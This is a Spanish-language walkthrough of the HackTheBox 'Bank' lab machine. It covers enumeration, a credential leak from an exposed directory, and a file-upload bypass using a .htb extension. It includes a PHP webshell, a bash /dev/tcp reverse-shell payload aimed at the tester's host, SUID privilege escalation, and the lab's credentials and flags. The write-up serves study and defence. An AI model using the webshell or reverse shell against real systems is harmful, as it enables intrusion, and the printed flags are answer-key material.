Bank

HackTheBox — Linux · /etc/hosts DNS → nmap → wfuzz → balance-transfer leak → File Upload .htb bypass → RCE → SUID emergency LPE

● FÁCIL HACKTHEBOX LINUX DNS LOCAL WFUZZ FILE UPLOAD RCE SUID · LPE 📅 Abril 2026 · By Brandeiks

Resumen

Bank es una máquina de dificultad fácil de la plataforma HackTheBox. Simula un servidor bancario web que requiere configuración manual de DNS para acceder al dominio bank.htb. El punto de entrada no es trivial: la enumeración web mediante wfuzz revela el directorio /balance-transfer, que contiene archivos de transacciones cifradas; sin embargo, uno de ellos falló al cifrarse (ERR ENCRYPT FAILED) y expone las credenciales en texto plano del usuario administrador.

Con acceso al panel, se detecta que la sección Support permite subir archivos. El servidor rechaza PHP directamente, pero al revisar el código fuente HTML con Burp Suite se descubre un comentario de depuración ([DEBUG]) que indica que la extensión .htb es tratada como PHP. Subimos una webshell con esa extensión, obtenemos RCE como www-data y establecemos una reverse shell.

Para la escalada de privilegios identificamos el binario /var/htb/bin/emergency con el bit SUID activado y propiedad de root. Al ejecutarlo obtenemos una shell como root directamente, sin necesidad de exploits adicionales.

FaseTécnica / HerramientaResultado
Reconocimientonmap -p- -sV -sC -sS -n -Pn --min-rate=5000Puertos 22 (SSH), 53 (DNS), 80 (HTTP) abiertos
DNS localsudo nano /etc/hosts → 10.129.3.73 bank.htbAcceso a bank.htb/login.php
Enum. Webwfuzz -c -hc=404 -t 200 -w big.txt http://bank.htb/FUZZ.php/balance-transfer, /support, /uploads
Leakcurl + awk + grep → archivo con ERR ENCRYPT FAILEDchris@bank.htb : !!##HTBB4nkP4ssw0rd!##
AccesoLogin en bank.htb/login.phpPanel bancario autenticado como Christos Christopoulos
File UploadBurp Suite → cambiar extensión .php → .htbshell.htb subida a /uploads/
RCEbank.htb/uploads/shell.htb?cmd=whoamiwww-data
Reverse Shellbash -i >& /dev/tcp/IP/443 0>&1 (URL-encoded)Shell interactiva como www-data
Privescfind / -perm -4000 -type f → /var/htb/bin/emergencySUID root → ejecución como root
Root/var/htb/bin/emergencyroot.txt obtenido

Reconocimiento

1
ESCANEO DE PUERTOS CON NMAP

El primer paso es identificar qué servicios están corriendo en la máquina objetivo. Utilizamos nmap con un escaneo completo de los 65535 puertos TCP. Cada flag cumple una función específica que optimiza velocidad y cobertura:

-p- indica a nmap que escanee todos los puertos (del 1 al 65535), no solo los 1000 más comunes. -sV activa la detección de versiones: nmap intenta identificar qué software y versión exacta corre en cada puerto abierto, enviando sondas específicas. -sC ejecuta los scripts NSE (Nmap Scripting Engine) por defecto, que realizan enumeraciones adicionales como extracción de certificados SSL, headers HTTP, llaves SSH, etc. -sS es el SYN scan sigiloso (también llamado half-open scan): envía un SYN, recibe SYN-ACK si el puerto está abierto y envía RST en vez de completar el handshake, dejando menos rastros en logs. -n desactiva la resolución DNS inversa, acelerando el escaneo. -Pn desactiva el ping previo (host discovery), tratando el host como activo sin importar si responde a ICMP — útil cuando el firewall bloquea pings. --min-rate=5000 fuerza a nmap a enviar al menos 5000 paquetes por segundo, reduciendo drásticamente el tiempo del escaneo.

RECONOCIMIENTO
$ nmap -p- -sV -sC -sS -n -Pn --min-rate=5000 10.129.3.73
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-24 01:07 -0400
Warning: 10.129.3.73 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.3.73
Host is up (0.88s latency).
Not shown: 65186 closed tcp ports (reset), 346 filtered tcp ports (no-response)
PORT    STATE SERVICE VERSION
22/tcp open ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Nmap done: 1 IP address (1 host up) scanned in 89.38 seconds

// ANÁLISIS DE RESULTADOS

Se encontraron 3 puertos abiertos: 22 (SSH) con OpenSSH 6.6.1p1 — versión antigua, posibles CVEs conocidos. 53 (DNS) con ISC BIND — el servidor corre su propio servicio DNS, lo que sugiere que usa un dominio virtual (bank.htb). 80 (HTTP) con Apache 2.4.7 mostrando la página por defecto de Ubuntu — indica que hay un virtual host que necesitamos configurar manualmente.

Al acceder a http://10.129.3.73 directamente por IP, el servidor muestra la página por defecto de Apache2 Ubuntu. Esto es una señal importante: Apache está usando virtual hosting, lo que significa que responde de forma diferente según el nombre de dominio en el header Host:. Para acceder al contenido real debemos usar el dominio bank.htb.

Probamos conectividad hacia bank.htb con ping para verificar si el DNS público conoce ese dominio:

VERIFICACIÓN DNS
$ ping bank.htb -c 3
ping: bank.htb: Name or service not known

// NOTA IMPORTANTE

El error "Name or service not known" confirma que el DNS público de internet no tiene registro para bank.htb. Esto es esperado en HackTheBox: los dominios .htb son locales a la red de laboratorio y no existen en servidores DNS públicos. La solución es agregar la entrada manualmente al archivo /etc/hosts, que actúa como un resolver DNS local con mayor prioridad que los servidores externos.


Configuración DNS Local

2
EDITAR /etc/hosts

El archivo /etc/hosts es el DNS local del sistema operativo. Cuando se ingresa un dominio en el navegador, el SO primero consulta este archivo antes de recurrir a servidores DNS externos. Si encuentra una entrada, usa esa IP directamente sin consultar la red. Agregamos la línea 10.129.3.73 bank.htb para que cualquier petición a bank.htb sea redirigida automáticamente a la IP de la máquina objetivo. Necesitamos sudo porque es un archivo del sistema, de solo lectura para usuarios normales.

DNS LOCAL
$ sudo nano /etc/hosts
127.0.0.1         localhost
127.0.1.1         kali
::1               localhost ip6-localhost ip6-loopback
ff02::1           ip6-allnodes
ff02::2           ip6-allrouters
 
10.129.3.73       bank.htb   <--- línea añadida
3
VERIFICAR CONECTIVIDAD CON PING

Verificamos que el sistema ahora resuelve bank.htb correctamente hacia la IP de la máquina. El flag -c 3 limita el ping a exactamente 3 paquetes ICMP (sin él, el ping continuaría indefinidamente). Si vemos paquetes enviados y recibidos sin pérdida, la configuración es correcta.

VERIFICACIÓN
$ ping bank.htb -c 3
PING bank.htb (10.129.3.73) 56(84) bytes of data.
64 bytes from bank.htb (10.129.3.73): icmp_seq=1 ttl=63 time=118 ms
64 bytes from bank.htb (10.129.3.73): icmp_seq=2 ttl=63 time=105 ms
64 bytes from bank.htb (10.129.3.73): icmp_seq=3 ttl=63 time=104 ms
 
--- bank.htb ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2011ms
rtt min/avg/max/mdev = 104.298/109.233/118.223/6.367 ms

Ahora podemos acceder a http://bank.htb en el navegador. El servidor redirige automáticamente a bank.htb/login.php, presentando el panel de login de HTB Bank con campos para email y contraseña. Esto confirma que el virtual host está correctamente configurado y que el contenido real de la aplicación está disponible solo bajo el dominio bank.htb.


Enumeración Web · wfuzz

4
FUZZING CON WFUZZ — PRIMERA PASADA

Con el dominio accesible, procedemos a enumerar directorios y archivos ocultos usando wfuzz, una herramienta de fuzzing web. La idea es sustituir la palabra FUZZ en la URL por cada línea del diccionario y analizar las respuestas del servidor.

-c activa la salida con colores para facilitar la lectura. -hc=302 significa hide code 302: oculta todas las respuestas con código HTTP 302 (redirecciones), que en este caso corresponden a páginas protegidas que redirigen al login — no son útiles para nosotros en esta fase. -t 200 define 200 hilos concurrentes (threads), acelerando considerablemente el proceso. -w especifica el wordlist (diccionario) a usar: dirbuster-2007_directory-list-2.3-medium.txt, un diccionario clásico con miles de rutas comunes. La URL con FUZZ al final indica el punto de inyección donde wfuzz sustituirá cada palabra del diccionario.

FUZZING · ARCHIVOS PHP
$ wfuzz -c -hc=302 -t 200 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt http://bank.htb/FUZZ.php
Target: http://bank.htb/FUZZ.php
Total requests: 220559
 
ID           Response   Lines   Word   Chars    Payload
═══════════════════════════════════════════════════════════════════════════
00000053:   200       91 L    125 W   1974 Ch   "login"
00001225:   200       8 L     1 W     0 Ch     "logout"
00001248:   200       10 L    1 W     30 W     "support"
5
WFUZZ — SEGUNDA PASADA (DIRECTORIOS)

En una segunda pasada enumeramos directorios (sin extensión), usando el mismo diccionario pero apuntando a la raíz del dominio. Esta vez ocultamos respuestas con código 301 (redirección a directorio con slash) para reducir ruido, y con 302 para ignorar los redirects de autenticación. El objetivo es encontrar rutas que respondan 200 OK directamente o que expongan contenido sin requerir login.

FUZZING · DIRECTORIOS
$ wfuzz -c -hc=302 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bank.htb/FUZZ
Target: http://bank.htb/FUZZ
Total requests: 220560
 
ID           Response   Lines   Word   Chars    Payload
═══════════════════════════════════════════════════════════════════════════
00000291:   200       9 L     20 W   304 Ch   "assets"
00002190:   200       5 L     20 W   301 Ch   "uploads"
00095524:   200       10 L    28 W   288 Ch   "server-status"
00819277:   200       10 L    28 W   314 Ch   "balance-transfer"

// HALLAZGO CLAVE

El directorio /balance-transfer responde con código 200 y tiene directory listing habilitado, lo que significa que el servidor nos muestra el listado completo de archivos en ese directorio sin necesidad de autenticación. Esto es una misconfiguration grave: archivos sensibles quedan expuestos directamente.


Balance-Transfer · Filtración de Credenciales

6
DIRECTORY LISTING EN /balance-transfer/

Al acceder a http://bank.htb/balance-transfer/ el servidor muestra un listado de cientos de archivos .acc. Estos parecen ser registros de transferencias bancarias, supuestamente cifrados. Sin embargo, la hipótesis es que alguno de estos archivos pudo haber fallado en el proceso de cifrado, dejando los datos en texto plano. Buscar manualmente entre cientos de archivos es inviable, así que automatizamos la búsqueda.

7
FILTRAR EL ARCHIVO CON ERR ENCRYPT FAILED

Usamos una cadena de comandos en bash para automatizar la búsqueda del archivo anómalo. La idea es descargar el HTML del directorio con curl, procesarlo con awk para extraer el nombre del archivo y su tamaño en bytes, y filtrar con grep los que tengan un tamaño inusualmente pequeño (indicativo de contenido en texto plano vs. cifrado).

curl http://bank.htb/balance-transfer/ descarga el HTML del listado del directorio. El pipe | pasa la salida al siguiente comando. awk '{print$6 " ---> " $10}' extrae el campo 6 (nombre del archivo como enlace HTML) y el campo 10 (tamaño en bytes) de cada línea — awk divide por espacios por defecto. tr -d '"' elimina las comillas del HTML. grep "align=right>2" filtra las líneas donde el tamaño comienza con "2" seguido de pocos dígitos, lo que representa archivos muy pequeños (el resto tiene tamaños de 584 bytes, los cifrados; el anómalo tiene apenas ~257 bytes).

" $10}'"'"' | tr -d '"'"'"'"'"' | grep "align=right>2"'> FILTRADO
$ curl http://bank.htb/balance-transfer/ | awk '{print$6 " ---> " $10}' | tr -d '"' | grep "align=right>2"
% Total    % Received % Xferd  Average Speed   Time    Time     Time   Current
100 140.5k   0 140.5k   0      0       6930   0:00:03  0:00:03 --:--:--     6930
 
href="68576f20e9732f1b2edc4df5b8533230.acc" ---> align=right>257
8
LEER EL ARCHIVO FILTRADO

Accedemos directamente al archivo identificado. Al estar en texto plano por el fallo de cifrado, obtenemos toda la información del usuario incluyendo su contraseña en claro:

LEER ARCHIVO
$ curl http://bank.htb/balance-transfer/68576f20e9732f1b2edc4df5b8533230.acc
--ERR ENCRYPT FAILED
+===================+
| HTB Bank Report   |
+===================+
 
===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !!##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803
===UserAccount===

// VULNERABILIDAD — CLEAR TEXT CREDENTIALS EN ALMACENAMIENTO

El archivo de transferencia falló en el proceso de cifrado y almacenó los datos en texto plano. Esto expone credenciales reales de usuario directamente accesibles por cualquiera que encuentre el directorio. La falta de autenticación en /balance-transfer/ agrava el problema: el directory listing público permite indexar y descargar todos los archivos sin restricción alguna.

EMAIL
chris@bank.htb
PASSWORD
!!##HTBB4nkP4ssw0rd!##

Acceso al Panel Bancario

9
LOGIN EN bank.htb

Usamos las credenciales obtenidas para autenticarnos en http://bank.htb/login.php. El sistema acepta el email chris@bank.htb y la contraseña !!##HTBB4nkP4ssw0rd!##, mostrando el panel bancario del usuario Christos Christopoulos.

El dashboard muestra un balance de 1.337 $ (guiño al término hacker "leet"), 8 transacciones, 2 tarjetas de crédito y 0 tickets de soporte. Lo que más nos interesa es la sección Support en el menú lateral, donde se puede crear un ticket y adjuntar un archivo.

// SIGUIENTE OBJETIVO

La sección Support → My Tickets permite adjuntar archivos a un ticket de soporte. Si el servidor no valida correctamente el tipo de archivo subido, podríamos subir una webshell PHP y obtener ejecución remota de comandos (RCE). Esta es la técnica conocida como Arbitrary File Upload.


File Upload · Bypass con extensión .htb

10
CREAR LA WEBSHELL PHP

Creamos un archivo PHP malicioso que actúa como webshell: recibe un parámetro cmd desde la URL y lo ejecuta en el sistema. La función shell_exec() ejecuta el comando recibido y retorna el resultado completo como string. Las etiquetas <pre> preservan el formato (espacios, saltos de línea) de la salida en el navegador. $_REQUEST['cmd'] captura el parámetro cmd ya sea por GET o POST.

CREAR WEBSHELL
$ nano shell.php
# Contenido del archivo:
<?php
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
11
INTENTAR SUBIR shell.php — BLOQUEADO

Al intentar subir el archivo shell.php directamente, el servidor responde con un modal de error: "You can't upload this file. You can only upload images." El servidor tiene algún tipo de validación que rechaza archivos PHP. Sin embargo, esta validación puede estar en el lado del cliente (JavaScript) o ser una validación superficial en el servidor. Usamos Burp Suite para interceptar y analizar la petición.

12
INTERCEPTAR CON BURP SUITE Y DESCUBRIR COMENTARIO DEBUG

Con Burp Suite interceptamos la petición de subida y la enviamos al Repeater (Ctrl+R) para modificarla y reenviarla sin que el navegador interfiera. Al revisar la respuesta del servidor (pestaña Response) en el código HTML, encontramos un comentario de depuración revelador:

<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->

// VULNERABILIDAD — COMENTARIO DEBUG EN PRODUCCIÓN

Un desarrollador dejó en el código fuente HTML un comentario de depuración que revela que la extensión .htb es tratada por el servidor como PHP. Este tipo de configuración se añade en entornos de desarrollo para pruebas y nunca debería llegar a producción. Al dejar este comentario en el código, el atacante sabe exactamente qué extensión usar para evadir el filtro.

13
RENOMBRAR A .htb Y SUBIR LA WEBSHELL

Renombramos el archivo para usar la extensión descubierta. El comando mv mueve/renombra el archivo: shell.php pasa a llamarse shell.htb. Confirmamos con ls que el archivo existe con el nuevo nombre, y lo subimos a través del formulario de Support.

RENOMBRAR
$ mv shell.php shell.htb && ls
shell.htb

Subimos shell.htb a través del formulario de Support. Esta vez el servidor lo acepta sin error, mostrando el modal Success: "Your ticket has been created successfully". El archivo queda almacenado en el directorio /uploads/ que habíamos descubierto con wfuzz.


RCE · Reverse Shell

14
VERIFICAR RCE CON WHOAMI

Accedemos directamente al archivo subido a través del navegador usando el parámetro ?cmd=. El servidor interpreta el archivo .htb como PHP y ejecuta el comando. Empezamos con whoami para identificar con qué usuario del sistema está corriendo el servidor web:

VERIFICAR RCE
# URL en el navegador:
http://bank.htb/uploads/shell.htb?cmd=whoami
www-data

// RCE CONFIRMADO

El servidor ejecuta comandos bajo el usuario www-data, que es el usuario estándar de Apache en sistemas Ubuntu. Tenemos ejecución remota de comandos. El siguiente paso es obtener una reverse shell interactiva para tener control completo del sistema.

15
PREPARAR LISTENER CON NETCAT

En nuestra máquina abrimos un listener con netcat para recibir la conexión inversa. -l indica modo listen (escuchar conexiones entrantes). -v activa el modo verbose para ver los eventos de conexión. -n desactiva la resolución DNS. -p 443 especifica el puerto de escucha — usamos 443 porque en muchos entornos el tráfico saliente al puerto 443 (HTTPS) no está filtrado por firewalls.

LISTENER
$ nc -lvnp 443
listening on [any] 443 ...
16
ENVIAR REVERSE SHELL DESDE LA WEBSHELL

Ejecutamos el payload de reverse shell a través del parámetro ?cmd=. Dado que la URL no puede contener ciertos caracteres especiales, los codificamos en formato URL encoding: %3E%26 representa >& (redirección combinada de stdout y stderr) y 0%3E%261 representa 0>&1 (redirigir stdin al mismo socket). El mecanismo /dev/tcp/IP/PUERTO es una característica especial de bash que abre un socket TCP hacia la IP y puerto especificados. bash -i lanza bash en modo interactivo. Combinado, el comando inicia bash, redirige stdin/stdout/stderr al socket TCP y establece la conexión hacia nuestro listener.

REVERSE SHELL · URL
# URL en el navegador (con encoding):
http://bank.htb/uploads/shell.htb?cmd=bash -c "bash -i %3E%26 /dev/tcp/TU_IP/443 0%3E%261"
connect to [10.10.16.5] from (UNKNOWN) [10.129.3.73] 57214
bash: cannot set terminal process group (1082): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bank:/var/www/bank/uploads$
17
ENUMERAR EL SISTEMA — USUARIO chris

Con la shell como www-data comenzamos a explorar el sistema. Navegamos al directorio home para identificar usuarios existentes, luego leemos el flag de usuario:

ENUM SISTEMA
www-data@bank:/$ cd home && ls
chris
 
www-data@bank:/home$ cd chris && ls
user.txt
 
www-data@bank:/home/chris$ cat user.txt
6be0e40ae7bbd0d66f245e0a3ecff470

Escalada de Privilegios · SUID emergency

18
BUSCAR BINARIOS CON SUID

La escalada de privilegios con SUID es una técnica clásica en Linux. Un binario con el bit SUID activado se ejecuta con los privilegios del propietario del archivo (normalmente root), sin importar qué usuario lo ejecute. Buscamos todos los archivos SUID en el sistema con find:

find / inicia la búsqueda desde la raíz del sistema de archivos, recorriendo todos los directorios. -perm -4000 filtra archivos que tengan el bit SUID activado (el "4" en octal representa el bit SUID; el guión "-" significa "al menos estos bits"). -type f limita la búsqueda solo a archivos regulares (excluye directorios, symlinks, etc.). 2>/dev/null redirige los errores (como "Permission denied") al vacío, para no ensuciar la salida con mensajes que no podemos resolver como www-data.

BUSCAR SUID
www-data@bank:/$ find / -perm -4000 -type f 2>/dev/null
/var/htb/bin/emergency
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/sudo
/bin/ping
/bin/su
/bin/fusermount
/bin/mount
/bin/umount
★ /var/htb/bin/emergency  <--- binario custom con SUID
19
VERIFICAR EL BINARIO EMERGENCY

Inspeccionamos los permisos del binario con ls -l para confirmar que tiene SUID y que pertenece a root. La "s" en la posición del bit de ejecución del propietario (rws) confirma el SUID. Al ejecutarlo, el proceso hereda los privilegios de root sin importar que lo estemos lanzando como www-data.

VERIFICAR PERMISOS
www-data@bank:/$ ls -l //var/htb/bin/emergency
-rwsr-xr-x 1 root root 112204 Jun 14 2017 //var/htb/bin/emergency
20
EJECUTAR EMERGENCY → ROOT

Ejecutamos el binario directamente. Por el bit SUID activado con propietario root, el proceso corre como root y nos entrega una shell privilegiada. Confirmamos con whoami:

PRIVESC · SUID
www-data@bank:/$ /var/htb/bin/emergency
/var/htb/bin/emergency
whoami
root

// VULNERABILIDAD — SUID EN BINARIO CUSTOM

El binario /var/htb/bin/emergency tiene el bit SUID activado y es propiedad de root. A diferencia de binarios del sistema con SUID justificado (como ping o su), este es un binario custom y no documentado. Cualquier usuario del sistema puede ejecutarlo y obtener una shell de root. La práctica correcta es evitar SUID en binarios custom, usar sudo con reglas granulares en su lugar, y auditar periódicamente todos los binarios SUID del sistema.


Flags

21
USER FLAG
USER FLAG
www-data@bank:/home/chris$ cat /home/chris/user.txt
6be0e40ae7bbd0d66f245e0a3ecff470
22
ROOT FLAG
ROOT FLAG
root@bank:/# cat /root/root.txt
dc7357216742fe3bbca0b156eb55bdd4
USER FLAG
6be0e40ae7bbd0d66f245e0a3ecff470
ROOT FLAG
dc7357216742fe3bbca0b156eb55bdd4

Referencia de Comandos

nmap

nmap [flags] <objetivo>

Scanner de puertos y servicios. Detecta versiones, ejecuta scripts NSE y enumera la superficie de ataque.

  • -p- — escanear todos los 65535 puertos
  • -sV — detección de versiones de servicios
  • -sC — scripts NSE por defecto
  • -sS — SYN scan sigiloso (half-open)
  • -n — no resolución DNS inversa
  • -Pn — sin host discovery (trata host como activo)
  • --min-rate=5000 — mínimo 5000 paquetes/segundo

wfuzz

wfuzz [flags] -w <wordlist> <URL/FUZZ>

Fuzzer web que sustituye FUZZ en la URL por cada palabra del diccionario. Ideal para enumerar directorios, archivos y parámetros.

  • -c — salida con colores
  • -hc=302 — ocultar respuestas con código 302
  • -hc=404 — ocultar respuestas "Not Found"
  • -t 200 — 200 hilos concurrentes
  • -w — especificar wordlist
  • FUZZ — marcador de posición de inyección

curl

curl [flags] <URL>

Herramienta para transferir datos desde/hacia URLs. Permite hacer peticiones HTTP personalizadas, descargar contenido y analizar respuestas.

  • (sin flags) — petición GET y mostrar respuesta
  • -s — modo silencioso (sin barra de progreso)
  • -L — seguir redirecciones
  • -o archivo — guardar salida en archivo
  • | awk | grep — pipeline para filtrar salida

find

find <ruta> [criterios]

Busca archivos y directorios en el sistema según criterios como permisos, tipo, nombre o propietario. Esencial para post-explotación.

  • / — buscar desde la raíz del sistema
  • -perm -4000 — archivos con bit SUID
  • -type f — solo archivos regulares
  • -type d — solo directorios
  • 2>/dev/null — suprimir errores de permiso

nc (netcat)

nc [flags] [host] [puerto]

La "navaja suiza" de redes. Permite crear conexiones TCP/UDP, actuar como servidor o cliente, y es la herramienta estándar para recibir reverse shells.

  • -l — modo escucha (listen)
  • -v — verbose, mostrar eventos
  • -n — sin resolución DNS
  • -p 443 — puerto de escucha (443 evade firewalls)

ping

ping [flags] <host>

Envía paquetes ICMP Echo Request para verificar conectividad. Útil para confirmar que un host está activo y que el DNS resuelve correctamente.

  • -c N — enviar exactamente N paquetes
  • -i — intervalo entre paquetes (segundos)
  • -t TTL — valor TTL de los paquetes
  • bank.htb — verifica resolución DNS local

Glosario

Virtual Hosting y /etc/hosts
El virtual hosting es una técnica que permite a un servidor web alojar múltiples sitios en la misma IP, diferenciados por el header HTTP Host:. Cuando el navegador hace una petición, incluye el dominio en ese header y Apache decide qué configuración usar. El archivo /etc/hosts es un resolver DNS local del sistema operativo: se consulta antes que cualquier servidor DNS externo. Al añadir 10.129.3.73 bank.htb, le decimos al SO que traduzca ese dominio a esa IP sin necesitar DNS público. Esto permite acceder a máquinas de laboratorio con dominios .htb que no existen en internet.
Directory Listing — Exposición de Directorios
El directory listing (listado de directorios) es una función de los servidores web que muestra el contenido de un directorio cuando no existe un archivo índice (index.html, index.php) y la configuración del servidor lo permite. Esto expone todos los archivos del directorio a cualquier visitante. En Apache, se controla con la directiva Options -Indexes. En este caso, /balance-transfer/ tenía el listing habilitado, exponiendo cientos de archivos de cuentas bancarias. El atacante pudo ver e iterar sobre todos sin autenticación.
wfuzz — Web Fuzzer
wfuzz es una herramienta de fuzzing web escrita en Python. El principio es simple: toma una URL con el marcador FUZZ y lo sustituye por cada línea de un diccionario, analizando las respuestas HTTP. Es muy flexible: puede fuzzear rutas, parámetros GET/POST, headers, cookies, etc. Con las flags -hc (hide code) y -hl (hide lines) se filtran las respuestas no interesantes para encontrar contenido "diferente" que revele recursos ocultos. Los diccionarios como SecLists o DirBuster contienen miles de rutas comunes de aplicaciones web.
Credenciales en Texto Plano — Clear Text Credentials
Almacenar contraseñas en texto plano (sin cifrar ni hashear) en archivos accesibles es una práctica gravemente insegura. En este caso, el proceso de cifrado falló y dejó el archivo .acc con la contraseña directamente legible. La práctica correcta incluye: usar hashes modernos (bcrypt, Argon2, scrypt) para contraseñas, implementar cifrado simétrico con llaves almacenadas de forma segura, y nunca exponer archivos de datos sensibles en directorios públicos del webroot. Una capa adicional de defensa hubiera sido requerir autenticación para acceder a /balance-transfer/.
File Upload Bypass — Evasión de Filtros de Subida
Las vulnerabilidades de subida de archivos ocurren cuando un servidor permite subir archivos sin validar correctamente su tipo. Los filtros pueden estar en el cliente (JavaScript, fácilmente evadible con Burp) o en el servidor (validación de MIME type, extensión, magic bytes). En este caso, el servidor filtraba extensiones comunes (.php) pero tenía una backdoor de debugging: la extensión .htb configurada para ejecutarse como PHP. Burp Suite permite interceptar y modificar cualquier petición antes de que llegue al servidor, incluyendo el nombre del archivo y su Content-Type.
Webshell PHP — Remote Code Execution (RCE)
Una webshell es un script malicioso que, al ser ejecutado por el servidor web, permite al atacante ejecutar comandos del sistema operativo a través de peticiones HTTP. La webshell PHP más básica usa shell_exec($_REQUEST['cmd']): shell_exec() ejecuta un comando en el shell del sistema y retorna toda la salida como string; $_REQUEST['cmd'] captura el parámetro cmd de la URL. El resultado es que cualquier comando enviado via URL (?cmd=whoami, ?cmd=id, etc.) se ejecuta en el servidor con los privilegios del proceso web (normalmente www-data).
Reverse Shell — bash -i >& /dev/tcp
Una reverse shell es una técnica donde el servidor víctima inicia la conexión hacia el atacante (inverso a una bind shell). Esto elude firewalls que bloquean conexiones entrantes pero permiten las salientes. El mecanismo /dev/tcp/IP/PUERTO es una función especial de Bash que abre un socket TCP. Combinado con bash -i (bash interactivo) y la redirección >& ... 0>&1 (redirigir stdout, stderr y stdin al socket), obtenemos una shell completa. El atacante escucha con netcat (nc -lvnp PUERTO) y recibe la conexión entrante del servidor comprometido.
SUID — Set User ID on Execution
El bit SUID (Set User ID) es un permiso especial de Unix/Linux. Cuando está activado en un ejecutable, el proceso corre con los privilegios del propietario del archivo en lugar del usuario que lo ejecuta. Si el propietario es root y el bit SUID está activo (rwsr-xr-x), cualquier usuario puede ejecutar ese binario como root. Esto es legítimo en binarios del sistema como passwd o ping (necesitan acceso a recursos privilegiados), pero peligroso en binarios custom o genéricos que permiten ejecutar código arbitrario. La enumeración de SUID es estándar en post-explotación para escalar privilegios.
Burp Suite — Proxy de Intercepción HTTP
Burp Suite es la herramienta de pentesting web más usada. Actúa como un proxy HTTP(S) entre el navegador y el servidor: intercepta todas las peticiones y respuestas, permitiendo modificarlas antes de que lleguen a destino. El módulo Repeater (Ctrl+R) permite reenviar peticiones modificadas repetidamente para probar variaciones. El módulo Intercept pausa cada petición para editarla en tiempo real. En este reto, Burp fue clave para: (1) inspeccionar el código fuente de la respuesta del servidor que contenía el comentario DEBUG, y (2) modificar la extensión del archivo subido de .php a .htb.
URL Encoding — Codificación de Caracteres en URLs
El URL encoding (también llamado percent-encoding) es un mecanismo para representar caracteres especiales en URLs usando el formato %XX donde XX es el valor hexadecimal del carácter ASCII. Las URLs solo pueden contener un conjunto limitado de caracteres; los demás deben codificarse. En la reverse shell, los caracteres >& tienen significado especial en bash y en HTTP, por lo que los codificamos: > se convierte en %3E, & en %26. Esto permite enviarlos a través de la URL sin que el navegador o el servidor los interprete como separadores de parámetros.
ISC BIND — DNS en Puerto 53
ISC BIND (Berkeley Internet Name Domain) es el servidor DNS más usado en internet. El hecho de que la máquina Bank tenga puerto 53 abierto con BIND es una pista importante: indica que el servidor gestiona resolución de nombres localmente, lo que sugiere la existencia de un dominio virtual (bank.htb). Sin esta pista, podríamos no haber intentado editar /etc/hosts. En CTFs y pentesting real, un servidor DNS propio es señal de que debemos configurar nuestro resolver para apuntar a él o al menos añadir el dominio manualmente a nuestro /etc/hosts.